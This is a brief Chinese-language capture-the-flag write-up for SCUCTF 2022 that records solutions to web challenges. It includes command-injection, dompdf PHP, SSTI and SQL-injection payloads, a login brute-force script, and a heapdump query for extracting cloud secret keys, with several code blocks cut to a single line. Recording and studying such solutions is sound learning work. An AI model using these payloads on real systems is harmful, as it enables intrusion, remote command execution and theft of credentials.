NS - SCUCTF 2022
难得重新开始打比赛,从校赛开始复健练习
简简单单记录下
Web
checkin
赛题源码
1 |
|
第一个action不填留空就行,第二个参数需要fuzz一下得到phpinfo可以过
1 | import requests |
第三个参数按P神的博客来学习下,本地测试成功,远程失败了,但flag在phpinfo里
1 | Bash 4.4及以上: env[BASH_FUNC_snakin%25%25]=() { id; } |
export2html
URL输入html生成pdf,看了下是php的,联想到dompdf。这里不是考的rce,而是另一个参数,见博文
payload: <script%20type="text/php">system("cat%20/flag%20>%20./flaaaaaa.txt");</script>
anya
ws暴破登录,密码221,脚本可以参考
1 | import asyncio |
就是效率比较低得分段一起看看,后续研究下ws再来优化
登录后,SSTI,过滤了很多
payload: {{get_flashed_messages[%22__globAls__%22.lower()][%22__buIltins__%22.lower()].__import__(%22os%22)[%22eNviron%22.lower()]}}
RealWorld
SignIn
/env信息泄漏
参考https://github.com/LandGrey/SpringBootVulExploit,获取其中的SecretKey,下载/heapdump,执行OQL语句
1 | select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("SecretKey")) |
拿到SecretKey和SecretId登录tx oss,获取flag
Make nday great again and again
第一步,利用前台注入拿CFG_COOKIE_ENCODE
第二步,跟着文章打到进后台
第三步,把配置文件中的DATA_CACHE_PREFIX打回来,计算前缀,Getshell
前缀计算代码
1 | if ($path == DATA_PATH) { $pre = hash('md4', 'F17' . C('DATA_CACHE_PREFIX')) . '_'; $filename = $path . $pre . $name . '.php'; } |
ezCMS
1 | # 参考https://gitcode.net/mirrors/mr-xn/Penetration_Testing_POC/-/blob/0392d19e857410ce03fe1979eaaa9843b2022a3a/books/PbootCMS%203.0.4%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.pdf |
fastjson
1 | BCELEncode.java |
FInalUnser
1 | package marshalsec; |